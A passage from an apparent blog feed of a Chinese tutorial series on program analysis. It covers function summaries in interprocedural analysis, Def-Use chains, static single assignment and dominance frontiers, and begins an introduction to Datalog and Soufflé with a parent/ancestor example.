class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>我们继续研究，发现标准型合并和函数嵌套之后，仍然满足标准型，推导和结论见下图。</p><img src="http://cdn.blog-blockchain.xyz/202210231706762.png" alt="image-20221023170639677" style="zoom: 50%;" /><p>交汇的结果是，新生成的变量的并集，需要删除的变量是交集，可证明交汇之后的结果满足半格性质。最大元 Gen 为空集，KILL 为全集。而且可以证明，<strong>采用函数摘要之后的结果，一定会是 sound 的，而且和原来是等价的</strong>。（具体证明实在没看懂）。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/pl/Interprocedural-DFA/</id>
    <link href="https://www.blog-blockchain.xyz/pl/Interprocedural-DFA/"/>
    <published>2022-10-23T14:00:33.000Z</published>
    <summary>详细介绍过程间分析的基本原理和方法，包括克隆和上下文敏感性分析、递归函数处理、CFL-可达性技术，以及基于动态规划和函数摘要的加速优化策略。</summary>
    <title>（五）过程间分析</title>
    <updated>2026-02-19T16:18:01.141Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/categories/program-language/"/>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/tags/program-language/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/pl/understanding-program-analysis/" title="（一）初识软件分析">（一）初识软件分析</a></li><li><a href="/pl/data-flow-analysis/" title="（二）数据流分析基础">（二）数据流分析基础</a></li><li><a href="/pl/LP-souffle/" title="（三）Datalog和程序分析">（三）Datalog和程序分析</a></li><li><a href="/pl/ssa-and-sparse-analysis/" title="（四）静态单赋值和稀疏分析">（四）静态单赋值和稀疏分析</a></li><li><a href="/pl/Interprocedural-DFA/" title="（五）过程间分析">（五）过程间分析</a></li><li><a href="/pl/points-to-analysis/" title="（六）指向分析">（六）指向分析</a></li><li><a href="/pl/abstract-interpretation/" title="（七）抽象解释">（七）抽象解释</a></li><li><a href="/pl/smt-and-symbolic-execution/" title="（八）SMT和符号执行">（八）SMT和符号执行</a></li><li><a href="/pl/static-analysis-tools/" title="（九）体验静态分析工具">（九）体验静态分析工具</a></li><li><a href="/pl/fuzzing-introduction/" title="（十）Fuzzing 基础">（十）Fuzzing 基础</a></li></ol></blockquote><h2 id="简介">简介</h2><p>这一章是对数据流分析的拓展和补充，基本内容如下：</p><p>首先从 Def-Use 的角度对控制流图进行简化，但是发现如果变量被多次赋值或者定义，那么简化操作反而会增加更多的边。因此，引入了静态单赋值的方法，所有变量都只赋值一遍，并且再次赋值则视作新的变量。但是分支交汇处的变量，将会不知道来自于其中哪一个分支，因此引入了交汇函数，将所有分支的变量交汇。但是哪些地方需要引入交汇操作呢？探讨了最直接的每个基本块都引入教会操作，但是引入了大量的冗余操作。进而学习了基于支配边界的确定交汇操作的方法。</p><h2 id="Def-Use">Def-Use</h2><h3 id="提出问题">提出问题</h3><p>之前的数据流分析中，每个数据节点都必须保存所有的值（抽象域），这就导致即使这个数据节点没有对其中某个值，进行任何的读取或者其他操作，也必须分配额外的存储空间。另外，我们之前假设是所有的数据节点都是有关的，要么是正向分析，要么是逆向分析。但是实际上，可能只有少数几个节点之间的变量才会存在依赖关系。</p><p>一个例子见下图：</p><img src="https://cdn.blog-blockchain.xyz/202210092215779.png" alt="image-20221009221521685" style="zoom: 50%;" /><p>以上的问题其实可以通过思考「Def-Use」关系来解决。</p><h3 id="改进数据流分析">改进数据流分析</h3><p>其实很容易理解：<strong>给定变量 x，如果结点 A 可能改变 x 的值，结点 B 可能使用结点 A 改变后的 x 的值，则结点 A 和结点 B 存在 Def-Use 关系。</strong></p><p>如果只是跟踪变量 x，只要跟踪改变了变量 x 和读取了变量 x 的节点即可，中间的不涉及 x 的节点可以忽视。例如，我们分别考虑变量 x, y，那么只要把节点 0-1-3、2 分成两组即可。</p><img src="https://cdn.blog-blockchain.xyz/202210092222200.png" alt="image-20221009222257105" style="zoom:67%;" /><p>虽然上图看起来更加复杂了，但是对于单独的变量，其实少了中间步骤，生成了更加「<strong>稀疏</strong>」的图，效率更加高了。总结如下：</p><ul><li>每个结点只保存自己定义的变量的抽象值。</li><li>只沿着 Def-Use 边传递抽象值。</li><li>通常图上的边数大幅减少，图变得稀 疏（sparse）</li><li>分析速度大大高于原始数据流分析。</li><li>改进前后的分析结果是等价的。</li></ul><h3 id="建立-Def-Use">建立 Def-Use</h3><p>前面看起来很美好，但是这是基于已经提取了 Def-Use 关系了，但是如何建立呢？实际上这个过程叫做 reachable analysis，而这个过程也是需要静态分析的。具体的例子和程序可以见我写的 《<a href="https://www.blog-blockchain.xyz/pl/LP-souffle/">Datalog 和程序分析</a>》 中的应用实例中的数据流分析。复杂度可以参考下图：</p><img src="https://cdn.blog-blockchain.xyz/202210092235123.png" alt="image-20221009223505040" style="zoom:50%;" /><p>另外，**如果定义的变量非常多，改进后的图可能不是更稀疏，反而更加多。**下面是一个例子：</p><img src="https://cdn.blog-blockchain.xyz/202210092248865.png" alt="image-20221009224804794" style="zoom:50%;" /><h2 id="静态单赋值">静态单赋值</h2><h3 id="介绍">介绍</h3><p>核心思想是：<strong>每个变量只被赋值一次</strong>，多次赋值的时候就当作不一样的变量。其实这里的「赋值」和定义，在程序分析中看起来不怎么区分。比如下面的程序，<code>x+=y</code> 之后的 <code>x </code> 和原来的 <code>x</code> 是不同的变量。</p><img src="http://cdn.blog-blockchain.xyz/202210092303556.png" alt="image-20221009230358418" style="zoom:50%;" /><p>但是不同的分支有不同的赋值行为，比如上述的 <code>z</code> 的值是不确定的。那么引入了 <code>z2=𝜙(z0, z1)</code>，表示分支选择，程序分析中表示分支交汇。这样后续就是 <code>x2=x2+z2</code>。</p><p>在 Def-Use 之前先进行静态单赋值，得到了右边第二步的结果，这样增加了变量的个数，但是会在第三步起到减少边的个数的作用。</p><img src="http://cdn.blog-blockchain.xyz/202210092309177.png" alt="image-20221009230925108" style="zoom:50%;" /><h3 id="转化成静态单赋值">转化成静态单赋值</h3><p>但是，<strong>我们不知道哪些变量该在基本块中汇合</strong>。基本块可以理解为一个数据节点，然后汇合是 𝜙 函数。为此，可以在每个基本块中的每个变量都进行汇合。</p><img src="http://cdn.blog-blockchain.xyz/202210092322070.png" alt="image-20221009232225919" style="zoom:50%;" /><p>但是显然这很低效，引入了大量没有必要的操作，生成了没必要的新变量。</p><h3 id="改进转化">改进转化</h3><p>开始探索，**什么时候必须引入交汇函数呢？**已经有成熟的结论了。当且仅当满足如下条件需要引入交汇函数 𝜙：</p><ol><li>至少两条路径在 B 处汇合。</li><li>其中一条经过了对 x 的某个赋值语句 S，但存在其他路径没有经过这条赋值语句。</li><li>语句 S 和 B 之间路径的情况，均不满足条件 1 和 2。</li></ol><img src="http://cdn.blog-blockchain.xyz/202210092332412.png" alt="image-20221009233244368" style="zoom:50%;" /><p>容易理解，即找到最**直接影响 **B 的赋值语句，然后其他分支不会经过这个赋值语句，那么就要交汇。</p><p>为了详细说明，引入如下概念：</p><p>**支配：**结点 A 支配（dominate）结点 B：所有从 Entry 到 B 的路径都要通过 A。</p><p><strong>严格支配</strong>：结点 A 严格支配（Strictly dominate）结点 B：A 支配 B 并且 A 和 B 不是一个结点。</p><img src="http://cdn.blog-blockchain.xyz/202210092336763.png" alt="image-20221009233603722" style="zoom:50%;" /><p>容易理解，比如 main 函数中比如会执行的语句抽象为节点，就是支配节点。每个节点都支配自身，比如上图两个都是支配节点，但是只有左边是非支配节点。</p><p><strong>不严格支配</strong>：至少存在一条路径，在到达 B 之前不经 过 A。</p><p>其实可以看出，不严格支配，其实也是不支配了。</p><p><strong>支配边界</strong>：结点 A 的支配边界中包括 B，当且仅当</p><ul><li>A 支配 B 的某一个前驱结点（注意 A 本身就可以是 B 的前驱节点，任何节点都支配自己）</li><li>A 不严格支配 B</li></ul><p>这其实是包含了非循环和循环的两种情况，分别对应上一张图的左边有右边。</p><hr><p>定义 DF(A) 为 A 的支配边界集合，其中 A 是节点的集合，也就是说 DF(A) 是集合 A 中每个元素的支配边界的并集，表示如下：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathrm">DF</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">A</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.6717em;vertical-align:-1.3217em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.35em;"><span style="top:-1.8557em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mrel mtight">∈</span><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">⋃</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3217em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">DF</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">A</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></span></p><p>但是如果对一个节点插入了某个变量的交汇函数 𝜙，那么这个节点就相当于增加了新的赋值语句，而这样的行为会影响到后续的节点，因此需要找出闭包。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0946em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">DF</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8446em;"><span style="top:-3.1362em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">A</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.6256em;vertical-align:-0.7277em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6944em;"><span style="top:-2.3723em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">→</span><span class="mord mtight">∞</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop"><span class="mop">lim</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7277em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord"><span class="mord mathrm">DF</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8979em;"><span style="top:-3.1362em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">A</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:3.24em;vertical-align:-1.37em;"></span><span class="mord mathrm">s</span><span class="mord">.</span><span class="mord mathrm">t</span><span class="mord">.</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.87em;"><span style="top:-4.012em;"><span class="pstrut" style="height:3.15em;"></span><span class="mord"><span class="mord"><span class="mord"><span class="mord mathrm">DF</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8873em;"><span style="top:-3.1362em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">A</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">DF</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">A</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.43em;"><span class="pstrut" style="height:3.15em;"></span><span class="mord"><span class="mord"><span class="mord"><span class="mord mathrm">DF</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8979em;"><span style="top:-3.1362em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">DF</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">⋃</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.5029em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel amsrm mtight">⩽</span><span class="mord mathnormal mtight">i</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4358em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord"><span class="mord mathrm">DF</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8979em;"><span style="top:-3.1362em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">A</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.37em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>这样分别对每个节点算闭包，就可以知道每个变量需要在哪些节点交汇了。下面是一个具体例子：</p><img src="http://cdn.blog-blockchain.xyz/202210101129727.png" alt="image-20221010112932664" style="zoom:50%;" /><p>请读者自习回顾「支配边界」的含义，不再赘述。B2 在 B3 的支配边界中。而 B2 支配后续的所有节点，所以支配边界是空集。最后再次迭代，结果不变了，说明已经到达了不动点。</p><img src="http://cdn.blog-blockchain.xyz/202210101140155.png" alt="image-20221010114023075" style="zoom:50%;" /><p>类似地分析即可，B2 在 B3 地支配边界中，exit 在 B6 的支配边界中。</p><img src="http://cdn.blog-blockchain.xyz/202210101141083.png" alt="image-20221010114156012" style="zoom:50%;" /><p>所以最终需要插入交汇函数的结果如下：</p><img src="http://cdn.blog-blockchain.xyz/202210101142486.png" alt="image-20221010114251437" style="zoom:67%;" /><h2 id="寻找支配边界">寻找支配边界</h2><p>首先需要找到直接支配树，定义和例子见下图：</p><img src="http://cdn.blog-blockchain.xyz/202210101601743.png" alt="image-20221010160152661" style="zoom: 50%;" /><p>计算直接支配树的主要算法有</p><img src="http://cdn.blog-blockchain.xyz/202210101605334.png" alt="image-20221010160523272" style="zoom:50%;" /><p>然后计算支配边界，流程如下。首先对每个节点 b，至少要有两条路径可以到达它（循环后返回也算作新的路径），这体现为至少两个前驱节点。接着需要找到支配 b 的前驱节点的节点，所以就开始从 b 的直接支配者 runner 开始，然后再去找 runner 的直接支配者，这些支配者的支配边界中都包含节点 b。</p><img src="http://cdn.blog-blockchain.xyz/202210101609950.png" alt="image-20221010160911886" style="zoom:50%;" /><h2 id="一些问题">一些问题</h2><ol><li><strong>如何转换回标准型</strong></li></ol><p>程序优化后，直接删除交汇函数即可。这里我们不探讨逻辑不变性了，比如如果删除某些分支，然后直接删除交汇操作，是否和原来的程序等价呢？</p><img src="http://cdn.blog-blockchain.xyz/202210101623960.png" alt="image-20221010162330882" style="zoom:50%;" /><ol start="2"><li>实际上，每次赋值的时候，可能变量的内存位置是不变的，只是在原来的内存处读写。而静态单赋值认为不同变量是不同的内存，每个变量对应的内存一旦赋值就不会改变。但是实际情况并不是这样。</li></ol><p>为了解决问题 2，提出了 <strong>部分 SSA</strong>。指针的分析是相对比较复杂的。我们暂时不深入，只要理解我们只对一部分变量进行转化即可。</p><img src="http://cdn.blog-blockchain.xyz/202210101634588.png" alt="image-20221010163436516" style="zoom:50%;" />]]>
    </content>
    <id>https://www.blog-blockchain.xyz/pl/ssa-and-sparse-analysis/</id>
    <link href="https://www.blog-blockchain.xyz/pl/ssa-and-sparse-analysis/"/>
    <published>2022-10-10T08:40:33.000Z</published>
    <summary>详细介绍 Def-Use 关系和静态单赋值（SSA）形式，讲解支配性、支配边界等概念，分析如何通过稀疏分析优化数据流分析的效率，以及部分 SSA 的处理方法。</summary>
    <title>（四）静态单赋值和稀疏分析</title>
    <updated>2026-02-19T16:18:01.143Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/categories/program-language/"/>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/tags/program-language/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/pl/understanding-program-analysis/" title="（一）初识软件分析">（一）初识软件分析</a></li><li><a href="/pl/data-flow-analysis/" title="（二）数据流分析基础">（二）数据流分析基础</a></li><li><a href="/pl/LP-souffle/" title="（三）Datalog和程序分析">（三）Datalog和程序分析</a></li><li><a href="/pl/ssa-and-sparse-analysis/" title="（四）静态单赋值和稀疏分析">（四）静态单赋值和稀疏分析</a></li><li><a href="/pl/Interprocedural-DFA/" title="（五）过程间分析">（五）过程间分析</a></li><li><a href="/pl/points-to-analysis/" title="（六）指向分析">（六）指向分析</a></li><li><a href="/pl/abstract-interpretation/" title="（七）抽象解释">（七）抽象解释</a></li><li><a href="/pl/smt-and-symbolic-execution/" title="（八）SMT和符号执行">（八）SMT和符号执行</a></li><li><a href="/pl/static-analysis-tools/" title="（九）体验静态分析工具">（九）体验静态分析工具</a></li><li><a href="/pl/fuzzing-introduction/" title="（十）Fuzzing 基础">（十）Fuzzing 基础</a></li></ol></blockquote><h2 id="前言">前言</h2><p>笔者在学习 Datalog 之前，已经学习过数据流分析，也学习过一门函数式编程语言，所以能够较为快速地接受新概念。如果读者觉得有些概念比较难以理解，可以搜索关键词学习。</p><p>文章引用部分较多中英夹杂，因为没有必要花时间翻译了，我只是在末尾简要用中文提炼我认为的重点，帮助读者理解。笔者没有刻意中英夹杂的意思，提高英文能力对深入最先进的或者较为小领域的知识，是非常重要的。</p><p>笔者并没有很扎实的数理逻辑知识，只学过本科计算机专业课离散数学，所以部分概念理解可能不准确。笔者也只是刚入门程序分析，并没有形成整个领域的系统认识，也不了解术语规定。如果发现有任何错误，请不吝斧正。</p><p>稳定翻译这篇更加全一些：<a href="https://jckling.github.io/2021/11/22/Other/Datalog%20%E5%BC%95%E6%93%8E%20Souffl%C3%A9%20%E6%8C%87%E5%8D%97/">《Datalog 引擎 Soufflé 指南》</a></p><h2 id="预备知识">预备知识</h2><h3 id="逻辑式语言">逻辑式语言</h3><p>在之前我们完成了函数式编程 Haskell 的学习之后，开始接触逻辑式编程语言。直接看 <a href="https://en.wikipedia.org/wiki/Logic_programming">wiki</a> 上的介绍：</p><blockquote><p><strong>Logic programming</strong> is a <a href="https://en.wikipedia.org/wiki/Programming_paradigm">programming paradigm</a> which is largely based on formal <a href="https://en.wikipedia.org/wiki/Logic">logic</a>. Any program written in a logic <a href="https://en.wikipedia.org/wiki/Programming_language">programming language</a> is a set of sentences in logical form, expressing facts and rules about some problem domain. Major logic programming language families include <a href="https://en.wikipedia.org/wiki/Prolog">Prolog</a>, <a href="https://en.wikipedia.org/wiki/Answer_set_programming">answer set programming</a> (ASP) and <a href="https://en.wikipedia.org/wiki/Datalog">Datalog</a>. In all of these languages, rules are written in the form of _<a href="https://en.wikipedia.org/wiki/Clause_(logic)">clauses</a>_:</p></blockquote><p>看起来会和离散数学比较相关，我们这次入手的主要是 Datalog</p><blockquote><p>In ASP and Datalog, logic programs have only a <a href="https://en.wikipedia.org/wiki/Declarative_programming">declarative</a> reading, and their execution is performed by means of a proof procedure or model generator whose behaviour is not meant to be controlled by the programmer. However, in the Prolog family of languages, logic programs also have a <a href="https://en.wikipedia.org/wiki/Procedural_programming">procedural</a> interpretation as goal-reduction procedures:</p></blockquote><p>其中首先要了解 declarative reading ，declarative programming 没有控制流，只用于描述程序处理特定问题时必须实现的东西，比如 SQL 就是这样的语言。也就是说，datalog 实际上并不是靠程序员控制行为，而是根据命题公式去执行。但是 Prolog 也存在 Procedural programming 范式的过程调用，类似于 C 语言中的函数或者子程序，把一个问题拆分成多个小问题。</p><blockquote><p>The declarative reading of logic programs can be used by a programmer to verify their correctness. Moreover, logic-based <a href="https://en.wikipedia.org/wiki/Program_transformation">program transformation</a> techniques can also be used to transform logic programs into logically equivalent programs that are more efficient.</p></blockquote><p>因此，datalog 这种形式逻辑定义的语言，就很合适用于判断程序的执行是否和期望一致，并 datalog 还支持编译成等价的程序，提高性能。</p><p>以上涉及到一些数理逻辑术语，可以查看附录一。</p><h3 id="Datalog">Datalog</h3><p>wiki 介绍：</p><blockquote><p>It is often used as a <a href="https://en.wikipedia.org/wiki/Query_language">query language</a> for <a href="https://en.wikipedia.org/wiki/Deductive_database">deductive databases</a>. In recent years, Datalog has found new application in <a href="https://en.wikipedia.org/wiki/Data_integration">data integration</a>, <a href="https://en.wikipedia.org/wiki/Information_extraction">information extraction</a>, <a href="https://en.wikipedia.org/wiki/Computer_network">networking</a>, <a href="https://en.wikipedia.org/wiki/Program_analysis">program analysis</a>, <a href="https://en.wikipedia.org/wiki/Security">security</a>, <a href="https://en.wikipedia.org/wiki/Cloud_computing">cloud computing</a> and <a href="https://en.wikipedia.org/wiki/Machine_learning">machine learning</a>.[<a href="https://en.wikipedia.org/wiki/Datalog#cite_note-1">1]</a>[<a href="https://en.wikipedia.org/wiki/Datalog#cite_note-2">2]</a></p></blockquote><p>特点：</p><ol><li>statements of a Datalog program can be stated in any order.</li><li>Datalog queries on <a href="https://en.wikipedia.org/wiki/Finite_sets">finite sets</a> are guaranteed to <a href="https://en.wikipedia.org/wiki/Algorithm#Termination">terminate</a>. This makes Datalog a fully <a href="https://en.wikipedia.org/wiki/Declarative_language">declarative language</a>.</li><li>disallows complex terms as arguments of <a href="https://en.wikipedia.org/wiki/Predicate_(logic)">predicates</a>, e.g., <code>p(1, 2)</code> is admissible but not <code>p(f(1), 2)</code></li><li>imposes certain <a href="https://en.wikipedia.org/wiki/Stratification_(mathematics)">stratification</a> restrictions on the use of negation and <a href="https://en.wikipedia.org/wiki/Recursion">recursion</a>. 谓词上的环状依赖不能包含否定规则，简单的说，不管如何推理，不能最终出现 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">¬</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>，这样矛盾的形式。</li><li>requires that every variable that appears in the head of a <a href="https://en.wikipedia.org/wiki/Clause_(logic)">clause</a> also appear in a nonarithmetic positive (i.e. not negated) <a href="https://en.wikipedia.org/wiki/Literal_(mathematical_logic)">literal</a> in the body of the clause。这需要了解逻辑式语言的一般形式，可以见 <a href="https://en.wikipedia.org/wiki/Logic_programming">wiki</a> 最开头的说明。目的就是避免无意义的永真或者永假，或者真值无法通过给出的变量确定的情况。</li><li>requires that every variable appearing in a negative literal in the body of a clause also appear in some positive literal in the body of the clause[<a href="https://en.wikipedia.org/wiki/Datalog#cite_note-5">5]</a>（暂时不懂为啥这么定义）</li><li>Query evaluation with Datalog is based on <a href="https://en.wikipedia.org/wiki/First-order_logic">first-order logic</a>, and is thus <a href="https://en.wikipedia.org/wiki/Soundness">sound</a> and <a href="https://en.wikipedia.org/wiki/Completeness_(logic)">complete</a>. 先解释 first-oder logic，中文叫做一阶逻辑或者谓词逻辑。sound 指上近似，程序分析术语，大致意思是按照规则筛选，那么结果一定是复合预期的。complete 指符合规则的一定会被全部筛选出来。</li><li>Datalog is not <a href="https://en.wikipedia.org/wiki/Turing_completeness">Turing complete</a>, and is thus used as a <a href="https://en.wikipedia.org/wiki/Domain-specific_language">domain-specific language</a> that can take advantage of efficient algorithms developed for query resolution.</li><li>Solving the boundedness problem on arbitrary Datalog programs is <a href="https://en.wikipedia.org/wiki/Undecidable_problem">undecidable</a>,[<a href="https://en.wikipedia.org/wiki/Datalog#cite_note-10">10]</a> but it can be made decidable by restricting to some fragments of Datalog. 不可判定性的处理，这里 <strong>fragment</strong> of a logical language or <a href="https://en.wikipedia.org/wiki/Theory_(mathematical_logic)">theory</a> is a subset of this logical language obtained by imposing <a href="https://en.wikipedia.org/wiki/Syntax">syntactical</a> restrictions on the language.</li></ol><p>一个来自 wiki 的例子可以介绍基本的用法和思想：</p><h3 id="逻辑式语言例子">逻辑式语言例子</h3><p>These two lines define two <em>facts</em>, i.e. things that always hold:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">parent(xerces, brooke).</span><br><span class="line">parent(brooke, damocles).</span><br></pre></td></tr></table></figure><p>This is what they mean: <em>xerces is a parent of brooke</em> and <em>brooke is a parent of damocles</em>. The names are written in lowercase because strings beginning with an uppercase letter stand for variables.</p><p>These two lines define <em>rules</em>, which define how new facts can be inferred from known facts.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ancestor(X, Y) :- parent(X, Y).</span><br><span class="line">ancestor(X, Y) :- parent(X, Z), ancestor(Z, Y).</span><br></pre></td></tr></table></figure><p>meaning:</p><ul><li><em>X is an ancestor of Y if X is a parent of Y.</em></li><li><em>X is an ancestor of Y if X is a parent of some Z, and Z is an ancestor of Y.</em></li></ul><p>This line is a query:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?- ancestor(xerces, X).</span><br></pre></td></tr></table></figure><p>It asks the following: <em>Who are all the X that xerces is an ancestor of?</em> It would return <em>brooke</em> and <em>damocles</em> when posed against a Datalog system containing the facts and rules described above.</p><h2 id="souffle">souffle</h2><h3 id="介绍">介绍</h3><p>开始正式的学习吧，来看看特性</p><blockquote><p>Soufflé is a logic programming language inspired by Datalog. It overcomes some of the limitations in classical Datalog. For example, programmers are not restricted to finite domains, and the usage of functors (intrinsic, user-defined, records/constructors, etc.) is permitted.</p><p>One of the major challenges in logic programming is performance and scalability. Soufflé applies advanced compilation techniques for logic programs. We use a range of techniques to achieve high-performance.</p><p>declarative rules are efficiently translated to efficient C++ programs on modern computer hardware, including multi-core computers</p></blockquote><p>支持非有限域（关于有限域可以学习近世代数），而且允许过程调用，不要求完全都是声明式。（如果您对这些概念陌生，可以仔细阅读预备知识或者相关 wiki)</p><p>用途：</p><blockquote><p>Soufflé was initially designed for crafting static analysis in logic at Oracle Labs. Since then, there 